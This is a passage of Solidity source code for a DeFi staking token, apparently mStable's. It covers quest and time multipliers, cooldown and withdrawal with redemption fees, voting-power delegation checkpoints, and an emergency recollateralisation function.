HeadlessStakingRewards._initialize(_rewardsDistributorArg); } /** * @dev Checks that _msgSender is the quest Manager */ modifier onlyQuestManager() { require(_msgSender() == address(questManager), "Not verified"); _; } /*************************************** VIEWS ****************************************/ function name() public view override returns (string memory) { return bytes32ToString(_name); } function symbol() public view override returns (string memory) { return bytes32ToString(_symbol); } /** * @dev Total sum of all scaled balances * In this instance, leave to the child token. */ function totalSupply() public view virtual override(HeadlessStakingRewards, ILockedERC20) returns (uint256); /** * @dev Simply gets scaled balance * @return scaled balance for user */ function balanceOf(address _account) public view virtual override(HeadlessStakingRewards, ILockedERC20) returns (uint256) { return _getBalance(_account, _balances[_account]); } /** * @dev Simply gets raw balance * @return raw balance for user */ function rawBalanceOf(address _account) public view returns (uint256, uint256) { return (_balances[_account].raw, _balances[_account].cooldownUnits); } /** * @dev Scales the balance of a given user by applying multipliers */ function _getBalance(address _account, Balance memory _balance) internal view returns (uint256 balance) { // e.g. raw = 1000, questMultiplier = 40, timeMultiplier = 30. Cooldown of 60% // e.g. 1000 * (100 + 40) / 100 = 1400 balance = (_balance.raw * (100 + _balance.questMultiplier)) / 100; // e.g. 1400 * (100 + 30) / 100 = 1820 balance = (balance * (100 + _balance.timeMultiplier)) / 100; if (hasPriceCoeff) { // e.g. 1820 * 16000 / 10000 = 2912 balance = (balance * _userPriceCoeff[_account]) / 10000; } } /** * @notice Raw staked balance without any multipliers */ function balanceData(address _account) external view returns (Balance memory) { return _balances[_account]; } /** * @notice Raw staked balance without any multipliers */ function userPriceCoeff(address _account) external view returns (uint256) { return _userPriceCoeff[_account]; } /*************************************** QUESTS ****************************************/ /** * @dev Called by anyone to poke the timestamp of a given account. This allows users to * effectively 'claim' any new timeMultiplier, but will revert if there is no change there. */ function reviewTimestamp(address _account) external { _reviewWeightedTimestamp(_account); } /** * @dev Adds the multiplier awarded from quest completion to a users data, taking the opportunity * to check time multipliers etc. * @param _account Address of user that should be updated * @param _newMultiplier New Quest Multiplier */ function applyQuestMultiplier(address _account, uint8 _newMultiplier) external onlyQuestManager { require(_account != address(0), "Invalid address"); // 1. Get current balance & update questMultiplier, only if user has a balance Balance memory oldBalance = _balances[_account]; uint256 oldScaledBalance = _getBalance(_account, oldBalance); if (oldScaledBalance > 0) { _applyQuestMultiplier(_account, oldBalance, oldScaledBalance, _newMultiplier); } } /** * @dev Gets the multiplier awarded for a given weightedTimestamp * @param _ts WeightedTimestamp of a user * @return timeMultiplier Ranging from 20 (0.2x) to 60 (0.6x) */ function _timeMultiplier(uint32 _ts) internal view returns (uint8 timeMultiplier) { // If the user has no ts yet, they are not in the system if (_ts == 0) return 0; uint256 hodlLength = block.timestamp - _ts; if (hodlLength < 13 weeks) { // 0-3 months = 1x return 0; } else if (hodlLength < 26 weeks) { // 3 months = 1.2x return 20; } else if (hodlLength < 52 weeks) { // 6 months = 1.3x return 30; } else if (hodlLength < 78 weeks) { // 12 months = 1.4x return 40; } else if (hodlLength < 104 weeks) { // 18 months = 1.5x return 50; } else { // > 24 months = 1.6x return 60; } } function _getPriceCoeff() internal virtual returns (uint256) { return 10000; } /*************************************** BALANCE CHANGES ****************************************/ /** * @dev Adds the multiplier awarded from quest completion to a users data, taking the opportunity * to check time multiplier. * @param _account Address of user that should be updated * @param _newMultiplier New Quest Multiplier */ function _applyQuestMultiplier( address _account, Balance memory _oldBalance, uint256 _oldScaledBalance, uint8 _newMultiplier ) private updateReward(_account) { // 1. Set the questMultiplier _balances[_account].questMultiplier = _newMultiplier; // 2. Take the opportunity to set weighted timestamp, if it changes _balances[_account].timeMultiplier = _timeMultiplier(_oldBalance.weightedTimestamp); // 3. Update scaled balance _settleScaledBalance(_account, _oldScaledBalance); } /** * @dev Entering a cooldown period means a user wishes to withdraw. With this in mind, their balance * should be reduced until they have shown more commitment to the system * @param _account Address of user that should be cooled * @param _units Units to cooldown for */ function _enterCooldownPeriod(address _account, uint256 _units) internal updateReward(_account) { require(_account != address(0), "Invalid address"); // 1. Get current balance (Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account); uint88 totalUnits = oldBalance.raw + oldBalance.cooldownUnits; require(_units > 0 && _units <= totalUnits, "Must choose between 0 and 100%"); // 2. Set weighted timestamp and enter cooldown _balances[_account].timeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp); // e.g. 1e18 / 1e16 = 100, 2e16 / 1e16 = 2, 1e15/1e16 = 0 _balances[_account].raw = totalUnits - SafeCastExtended.toUint88(_units); // 3. Set cooldown data _balances[_account].cooldownTimestamp = SafeCastExtended.toUint32(block.timestamp); _balances[_account].cooldownUnits = SafeCastExtended.toUint88(_units); // 4. Update scaled balance _settleScaledBalance(_account, oldScaledBalance); } /** * @dev Exiting the cooldown period explicitly resets the users cooldown window and their balance * @param _account Address of user that should be exited */ function _exitCooldownPeriod(address _account) internal updateReward(_account) { require(_account != address(0), "Invalid address"); // 1. Get current balance (Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account); // 2. Set weighted timestamp and exit cooldown _balances[_account].timeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp); _balances[_account].raw += oldBalance.cooldownUnits; // 3. Set cooldown data _balances[_account].cooldownTimestamp = 0; _balances[_account].cooldownUnits = 0; // 4. Update scaled balance _settleScaledBalance(_account, oldScaledBalance); } /** * @dev Pokes the weightedTimestamp of a given user and checks if it entitles them * to a better timeMultiplier. If not, it simply reverts as there is nothing to update. * @param _account Address of user that should be updated */ function _reviewWeightedTimestamp(address _account) internal updateReward(_account) { require(_account != address(0), "Invalid address"); // 1. Get current balance (Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account); // 2. Set weighted timestamp, if it changes uint8 newTimeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp); require(newTimeMultiplier != oldBalance.timeMultiplier, "Nothing worth poking here"); _balances[_account].timeMultiplier = newTimeMultiplier; // 3. Update scaled balance _settleScaledBalance(_account, oldScaledBalance); } /** * @dev Called to mint from raw tokens. Adds raw to a users balance, and then propagates the scaledBalance. * Importantly, when a user stakes more, their weightedTimestamp is reduced proportionate to their stake. * @param _account Address of user to credit * @param _rawAmount Raw amount of tokens staked * @param _exitCooldown Should we end any cooldown? */ function _mintRaw( address _account, uint256 _rawAmount, bool _exitCooldown ) internal updateReward(_account) { require(_account != address(0), "ERC20: mint to the zero address"); // 1. Get and update current balance (Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account); uint88 totalRaw = oldBalance.raw + oldBalance.cooldownUnits; _balances[_account].raw = oldBalance.raw + SafeCastExtended.toUint88(_rawAmount); // 2. Exit cooldown if necessary if (_exitCooldown) { _balances[_account].raw += oldBalance.cooldownUnits; _balances[_account].cooldownTimestamp = 0; _balances[_account].cooldownUnits = 0; } // 3. Set weighted timestamp // i) For new _account, set up weighted timestamp if (oldBalance.weightedTimestamp == 0) { _balances[_account].weightedTimestamp = SafeCastExtended.toUint32(block.timestamp); _mintScaled(_account, _getBalance(_account, _balances[_account])); return; } // ii) For previous minters, recalculate time held // Calc new weighted timestamp uint256 oldWeightedSecondsHeld = (block.timestamp - oldBalance.weightedTimestamp) * totalRaw; uint256 newSecondsHeld = oldWeightedSecondsHeld / (totalRaw + (_rawAmount / 2)); uint32 newWeightedTs = SafeCastExtended.toUint32(block.timestamp - newSecondsHeld); _balances[_account].weightedTimestamp = newWeightedTs; uint8 timeMultiplier = _timeMultiplier(newWeightedTs); _balances[_account].timeMultiplier = timeMultiplier; // 3. Update scaled balance _settleScaledBalance(_account, oldScaledBalance); } /** * @dev Called to burn a given amount of raw tokens. * @param _account Address of user * @param _rawAmount Raw amount of tokens to remove * @param _exitCooldown Exit the cooldown? * @param _finalise Has recollateralisation happened? If so, everything is cooled down */ function _burnRaw( address _account, uint256 _rawAmount, bool _exitCooldown, bool _finalise ) internal updateReward(_account) { require(_account != address(0), "ERC20: burn from zero address"); // 1. Get and update current balance (Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account); uint256 totalRaw = oldBalance.raw + oldBalance.cooldownUnits; // 1.1. If _finalise, move everything to cooldown if (_finalise) { _balances[_account].raw = 0; _balances[_account].cooldownUnits = SafeCastExtended.toUint88(totalRaw); oldBalance.cooldownUnits = SafeCastExtended.toUint88(totalRaw); } // 1.2. Update require(oldBalance.cooldownUnits >= _rawAmount, "ERC20: burn amount > balance"); unchecked { _balances[_account].cooldownUnits -= SafeCastExtended.toUint88(_rawAmount); } // 2. If we are exiting cooldown, reset the balance if (_exitCooldown) { _balances[_account].raw += _balances[_account].cooldownUnits; _balances[_account].cooldownTimestamp = 0; _balances[_account].cooldownUnits = 0; } // 3. Set back scaled time // e.g. stake 10 for 100 seconds, withdraw 5. // secondsHeld = (100 - 0) * (10 - 0.625) = 937.5 uint256 secondsHeld = (block.timestamp - oldBalance.weightedTimestamp) * (totalRaw - (_rawAmount / 8)); // newWeightedTs = 937.5 / 100 = 93.75 uint256 newSecondsHeld = secondsHeld / totalRaw; uint32 newWeightedTs = SafeCastExtended.toUint32(block.timestamp - newSecondsHeld); _balances[_account].weightedTimestamp = newWeightedTs; uint8 timeMultiplier = _timeMultiplier(newWeightedTs); _balances[_account].timeMultiplier = timeMultiplier; // 4. Update scaled balance _settleScaledBalance(_account, oldScaledBalance); } /*************************************** PRIVATE updateReward should already be called by now ****************************************/ /** * @dev Fetches the balance of a given user, scales it, and also takes the opportunity * to check if the season has just finished between now and their last action. * @param _account Address of user to fetch * @return oldBalance struct containing all balance information * @return oldScaledBalance scaled balance after applying multipliers */ function _prepareOldBalance(address _account) private returns (Balance memory oldBalance, uint256 oldScaledBalance) { // Get the old balance oldBalance = _balances[_account]; oldScaledBalance = _getBalance(_account, oldBalance); // Take the opportunity to check for season finish _balances[_account].questMultiplier = questManager.checkForSeasonFinish(_account); if (hasPriceCoeff) { _userPriceCoeff[_account] = SafeCastExtended.toUint16(_getPriceCoeff()); } } /** * @dev Settles the scaled balance of a given account. The reason this is done here, is because * in each of the write functions above, there is the chance that a users balance can go down, * requiring to burn sacled tokens. This could happen at the end of a season when multipliers are slashed. * This is called after updating all multipliers etc. * @param _account Address of user that should be updated * @param _oldScaledBalance Previous scaled balance of the user */ function _settleScaledBalance(address _account, uint256 _oldScaledBalance) private { uint256 newScaledBalance = _getBalance(_account, _balances[_account]); if (newScaledBalance > _oldScaledBalance) { _mintScaled(_account, newScaledBalance - _oldScaledBalance); } // This can happen if the user moves back a time class, but is unlikely to result in a negative mint else { _burnScaled(_account, _oldScaledBalance - newScaledBalance); } } /** * @dev Propagates the minting of the tokens downwards. * @param _account Address of user that has minted * @param _amount Amount of scaled tokens minted */ function _mintScaled(address _account, uint256 _amount) private { emit Transfer(address(0), _account, _amount); _afterTokenTransfer(address(0), _account, _amount); } /** * @dev Propagates the burning of the tokens downwards. * @param _account Address of user that has burned * @param _amount Amount of scaled tokens burned */ function _burnScaled(address _account, uint256 _amount) private { emit Transfer(_account, address(0), _amount); _afterTokenTransfer(_account, address(0), _amount); } /*************************************** HOOKS ****************************************/ /** * @dev Triggered after a user claims rewards from the HeadlessStakingRewards. Used * to check for season finish. If it has not, then do not spend gas updating the other vars. * @param _account Address of user that has burned */ function _claimRewardHook(address _account) internal override { uint8 newMultiplier = questManager.checkForSeasonFinish(_account); bool priceCoeffChanged = hasPriceCoeff ? _getPriceCoeff() != _userPriceCoeff[_account] : false; if (newMultiplier != _balances[_account].questMultiplier || priceCoeffChanged) { // 1. Get current balance & trigger season finish uint256 oldScaledBalance = _getBalance(_account, _balances[_account]); _balances[_account].questMultiplier = newMultiplier; if (priceCoeffChanged) { _userPriceCoeff[_account] = SafeCastExtended.toUint16(_getPriceCoeff()); } // 3. Update scaled balance _settleScaledBalance(_account, oldScaledBalance); } } /** * @dev Unchanged from OpenZeppelin. Used in child contracts to react to any balance changes. */ function _afterTokenTransfer( address _from, address _to, uint256 _amount ) internal virtual {} /*************************************** Utils ****************************************/ function bytes32ToString(bytes32 _bytes32) internal pure returns (string memory) { uint256 i = 0; while (i < 32 && _bytes32[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && _bytes32[i] != 0; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } uint256[46] private __gap; } interface IGovernanceHook { function moveVotingPowerHook( address from, address to, uint256 amount ) external; } abstract contract GamifiedVotingToken is Initializable, GamifiedToken { struct Checkpoint { uint32 fromBlock; uint224 votes; } mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; IGovernanceHook private _governanceHook; event GovernanceHookChanged(address indexed hook); /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); constructor( address _nexus, address _rewardsToken, address _questManager, bool _hasPriceCoeff ) GamifiedToken(_nexus, _rewardsToken, _questManager, _hasPriceCoeff) {} function __GamifiedVotingToken_init() internal initializer {} /** * @dev */ function setGovernanceHook(address _newHook) external onlyGovernor { _governanceHook = IGovernanceHook(_newHook); emit GovernanceHookChanged(_newHook); } /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { // Override as per https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol#L23 // return _delegates[account]; address delegatee = _delegates[account]; return delegatee == address(0) ? account : delegatee; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Total sum of all scaled balances */ function totalSupply() public view override returns (uint256) { uint256 len = _totalSupplyCheckpoints.length; if (len == 0) return 0; return _totalSupplyCheckpoints[len - 1].votes; } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = MathUpgradeable.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); // mint or burn, update total supply if (from == address(0) || to == address(0)) { _writeCheckpoint(_totalSupplyCheckpoints, to == address(0) ? _subtract : _add, amount); } _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint( _checkpoints[src], _subtract, amount ); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint( _checkpoints[dst], _add, amount ); emit DelegateVotesChanged(dst, oldWeight, newWeight); } if (address(_governanceHook) != address(0)) { _governanceHook.moveVotingPowerHook(src, dst, amount); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push( Checkpoint({ fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight) }) ); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } uint256[46] private __gap; } library Root { /** * @dev Returns the square root of a given number * @param x Input * @return y Square root of Input */ function sqrt(uint256 x) internal pure returns (uint256 y) { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint256(r < r1 ? r : r1); } } } contract InitializableReentrancyGuard { bool private _notEntered; function _initializeReentrancyGuard() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } contract StakedToken is GamifiedVotingToken, InitializableReentrancyGuard { using SafeERC20 for IERC20; /// @notice Core token that is staked and tracked (e.g. MTA) IERC20 public immutable STAKED_TOKEN; /// @notice Seconds a user must wait after she initiates her cooldown before withdrawal is possible uint256 public immutable COOLDOWN_SECONDS; /// @notice Window in which it is possible to withdraw, following the cooldown period uint256 public immutable UNSTAKE_WINDOW; /// @notice A week uint256 private constant ONE_WEEK = 7 days; struct SafetyData { /// Percentage of collateralisation where 100% = 1e18 uint128 collateralisationRatio; /// Slash % where 100% = 1e18 uint128 slashingPercentage; } /// @notice Data relating to the re-collateralisation safety module SafetyData public safetyData; /// @notice Whitelisted smart contract integrations mapping(address => bool) public whitelistedWrappers; event Staked(address indexed user, uint256 amount, address delegatee); event Withdraw(address indexed user, address indexed to, uint256 amount); event Cooldown(address indexed user, uint256 percentage); event CooldownExited(address indexed user); event SlashRateChanged(uint256 newRate); event Recollateralised(); event WrapperWhitelisted(address wallet); event WrapperBlacklisted(address wallet); /*************************************** INIT ****************************************/ /** * @param _nexus System nexus * @param _rewardsToken Token that is being distributed as a reward. eg MTA * @param _questManager Centralised manager of quests * @param _stakedToken Core token that is staked and tracked (e.g. MTA) * @param _cooldownSeconds Seconds a user must wait after she initiates her cooldown before withdrawal is possible * @param _unstakeWindow Window in which it is possible to withdraw, following the cooldown period * @param _hasPriceCoeff true if raw staked amount is multiplied by price coeff to get staked amount. eg BPT Staked Token */ constructor( address _nexus, address _rewardsToken, address _questManager, address _stakedToken, uint256 _cooldownSeconds, uint256 _unstakeWindow, bool _hasPriceCoeff ) GamifiedVotingToken(_nexus, _rewardsToken, _questManager, _hasPriceCoeff) { STAKED_TOKEN = IERC20(_stakedToken); COOLDOWN_SECONDS = _cooldownSeconds; UNSTAKE_WINDOW = _unstakeWindow; } /** * @param _nameArg Token name * @param _symbolArg Token symbol * @param _rewardsDistributorArg mStable Rewards Distributor */ function __StakedToken_init( bytes32 _nameArg, bytes32 _symbolArg, address _rewardsDistributorArg ) public initializer { __GamifiedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg); _initializeReentrancyGuard(); safetyData = SafetyData({ collateralisationRatio: 1e18, slashingPercentage: 0 }); } /** * @dev Only the recollateralisation module, as specified in the mStable Nexus, can execute this */ modifier onlyRecollateralisationModule() { require(_msgSender() == _recollateraliser(), "Only Recollateralisation Module"); _; } /** * @dev This protects against fn's being called after a recollateralisation event, when the contract is essentially finished */ modifier onlyBeforeRecollateralisation() { _onlyBeforeRecollateralisation(); _; } function _onlyBeforeRecollateralisation() internal view { require(safetyData.collateralisationRatio == 1e18, "Only while fully collateralised"); } /** * @dev Only whitelisted contracts can call core fns. mStable governors can whitelist and de-whitelist wrappers. * Access may be given to yield optimisers to boost rewards, but creating unlimited and ungoverned wrappers is unadvised. */ modifier assertNotContract() { _assertNotContract(); _; } function _assertNotContract() internal view { if (_msgSender() != tx.origin) { require(whitelistedWrappers[_msgSender()], "Not a whitelisted contract"); } } /*************************************** ACTIONS ****************************************/ /** * @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and * boosts their voting power. * @param _amount Units of STAKED_TOKEN to stake */ function stake(uint256 _amount) external { _transferAndStake(_amount, address(0), false); } /** * @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and * boosts their voting power. * @param _amount Units of STAKED_TOKEN to stake * @param _exitCooldown Bool signalling whether to take this opportunity to end any outstanding cooldown and * return the user back to their full voting power */ function stake(uint256 _amount, bool _exitCooldown) external { _transferAndStake(_amount, address(0), _exitCooldown); } /** * @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and * boosts their voting power. Take the opportunity to change delegatee. * @param _amount Units of STAKED_TOKEN to stake * @param _delegatee Address of the user to whom the sender would like to delegate their voting power */ function stake(uint256 _amount, address _delegatee) external { _transferAndStake(_amount, _delegatee, false); } /** * @dev Transfers tokens from sender before calling `_settleStake` */ function _transferAndStake( uint256 _amount, address _delegatee, bool _exitCooldown ) internal { STAKED_TOKEN.safeTransferFrom(_msgSender(), address(this), _amount); _settleStake(_amount, _delegatee, _exitCooldown); } /** * @dev Internal stake fn. Can only be called by whitelisted contracts/EOAs and only before a recollateralisation event. * NOTE - Assumes tokens have already been transferred * @param _amount Units of STAKED_TOKEN to stake * @param _delegatee Address of the user to whom the sender would like to delegate their voting power * @param _exitCooldown Bool signalling whether to take this opportunity to end any outstanding cooldown and * return the user back to their full voting power */ function _settleStake( uint256 _amount, address _delegatee, bool _exitCooldown ) internal onlyBeforeRecollateralisation assertNotContract { require(_amount != 0, "INVALID_ZERO_AMOUNT"); // 1. Apply the delegate if it has been chosen (else it defaults to the sender) if (_delegatee != address(0)) { _delegate(_msgSender(), _delegatee); } // 2. Deal with cooldown // If a user is currently in a cooldown period, re-calculate their cooldown timestamp Balance memory oldBalance = _balances[_msgSender()]; // If we have missed the unstake window, or the user has chosen to exit the cooldown, // then reset the timestamp to 0 bool exitCooldown = _exitCooldown || (oldBalance.cooldownTimestamp > 0 && block.timestamp > (oldBalance.cooldownTimestamp + COOLDOWN_SECONDS + UNSTAKE_WINDOW)); if (exitCooldown) { emit CooldownExited(_msgSender()); } // 3. Settle the stake by depositing the STAKED_TOKEN and minting voting power _mintRaw(_msgSender(), _amount, exitCooldown); emit Staked(_msgSender(), _amount, _delegatee); } /** * @dev Withdraw raw tokens from the system, following an elapsed cooldown period. * Note - May be subject to a transfer fee, depending on the users weightedTimestamp * @param _amount Units of raw token to withdraw * @param _recipient Address of beneficiary who will receive the raw tokens * @param _amountIncludesFee Is the `_amount` specified inclusive of any applicable redemption fee? * @param _exitCooldown Should we take this opportunity to exit the cooldown period? **/ function withdraw( uint256 _amount, address _recipient, bool _amountIncludesFee, bool _exitCooldown ) external { _withdraw(_amount, _recipient, _amountIncludesFee, _exitCooldown); } /** * @dev Withdraw raw tokens from the system, following an elapsed cooldown period. * Note - May be subject to a transfer fee, depending on the users weightedTimestamp * @param _amount Units of raw token to withdraw * @param _recipient Address of beneficiary who will receive the raw tokens * @param _amountIncludesFee Is the `_amount` specified inclusive of any applicable redemption fee? * @param _exitCooldown Should we take this opportunity to exit the cooldown period? **/ function _withdraw( uint256 _amount, address _recipient, bool _amountIncludesFee, bool _exitCooldown ) internal assertNotContract { require(_amount != 0, "INVALID_ZERO_AMOUNT"); // Is the contract post-recollateralisation? if (safetyData.collateralisationRatio != 1e18) { // 1. If recollateralisation has occured, the contract is finished and we can skip all checks _burnRaw(_msgSender(), _amount, false, true); // 2. Return a proportionate amount of tokens, based on the collateralisation ratio STAKED_TOKEN.safeTransfer( _recipient, (_amount * safetyData.collateralisationRatio) / 1e18 ); emit Withdraw(_msgSender(), _recipient, _amount); } else { // 1. If no recollateralisation has occured, the user must be within their UNSTAKE_WINDOW period in order to withdraw Balance memory oldBalance = _balances[_msgSender()]; require( block.timestamp > oldBalance.cooldownTimestamp + COOLDOWN_SECONDS, "INSUFFICIENT_COOLDOWN" ); require( block.timestamp - (oldBalance.cooldownTimestamp + COOLDOWN_SECONDS) <= UNSTAKE_WINDOW, "UNSTAKE_WINDOW_FINISHED" ); // 2. Get current balance Balance memory balance = _balances[_msgSender()]; // 3. Apply redemption fee // e.g. (55e18 / 5e18) - 2e18 = 9e18 / 100 = 9e16 uint256 feeRate = calcRedemptionFeeRate(balance.weightedTimestamp); // fee = amount * 1e18 / feeRate // totalAmount = amount + fee uint256 totalWithdraw = _amountIncludesFee ? _amount : (_amount * (1e18 + feeRate)) / 1e18; uint256 userWithdrawal = (totalWithdraw * 1e18) / (1e18 + feeRate); // Check for percentage withdrawal uint256 maxWithdrawal = oldBalance.cooldownUnits; require(totalWithdraw <= maxWithdrawal, "Exceeds max withdrawal"); // 4. Exit cooldown if the user has specified, or if they have withdrawn everything // Otherwise, update the percentage remaining proportionately bool exitCooldown = _exitCooldown || totalWithdraw == maxWithdrawal; // 5. Settle the withdrawal by burning the voting tokens _burnRaw(_msgSender(), totalWithdraw, exitCooldown, false); // Log any redemption fee to the rewards contract _notifyAdditionalReward(totalWithdraw - userWithdrawal); // Finally transfer tokens back to recipient STAKED_TOKEN.safeTransfer(_recipient, userWithdrawal); emit Withdraw(_msgSender(), _recipient, _amount); } } /** * @dev Enters a cooldown period, after which (and before the unstake window elapses) a user will be able * to withdraw part or all of their staked tokens. Note, during this period, a users voting power is significantly reduced. * If a user already has a cooldown period, then it will reset to the current block timestamp, so use wisely. * @param _units Units of stake to cooldown for **/ function startCooldown(uint256 _units) external { _startCooldown(_units); } /** * @dev Ends the cooldown of the sender and give them back their full voting power. This can be used to signal that * the user no longer wishes to exit the system. Note, the cooldown can also be reset, more smoothly, as part of a stake or * withdraw transaction. **/ function endCooldown() external { require(_balances[_msgSender()].cooldownTimestamp != 0, "No cooldown"); _exitCooldownPeriod(_msgSender()); emit CooldownExited(_msgSender()); } /** * @dev Enters a cooldown period, after which (and before the unstake window elapses) a user will be able * to withdraw part or all of their staked tokens. Note, during this period, a users voting power is significantly reduced. * If a user already has a cooldown period, then it will reset to the current block timestamp, so use wisely. * @param _units Units of stake to cooldown for **/ function _startCooldown(uint256 _units) internal { require(balanceOf(_msgSender()) != 0, "INVALID_BALANCE_ON_COOLDOWN"); _enterCooldownPeriod(_msgSender(), _units); emit Cooldown(_msgSender(), _units); } /*************************************** ADMIN ****************************************/ /** * @dev This is a write function allowing the whitelisted recollateralisation module to slash stakers here and take * the capital to use to recollateralise any lost value in the system. Trusting that the recollateralisation module has * sufficient protections put in place. Note, once this has been executed, the contract is now finished, and undercollateralised, * meaning that all users must withdraw, and will only receive a proportionate amount back relative to the colRatio. **/ function emergencyRecollateralisation() external onlyRecollateralisationModule onlyBeforeRecollateralisation { // 1. Change collateralisation rate safetyData.collateralisationRatio = 1e18 - safetyData.slashingPercentage; // 2. Take slashing percentage uint256 balance = STAKED_TOKEN.balanceOf(address(this)); STAKED_TOKEN.safeTransfer( _recollateraliser(), (balance * safetyData.slashingPercentage) / 1e18 ); // 3. No functions should work anymore because the colRatio has changed emit Recollateralised(); } /** * @dev Governance can change the slashing percentage here (initially 0). This is the amount 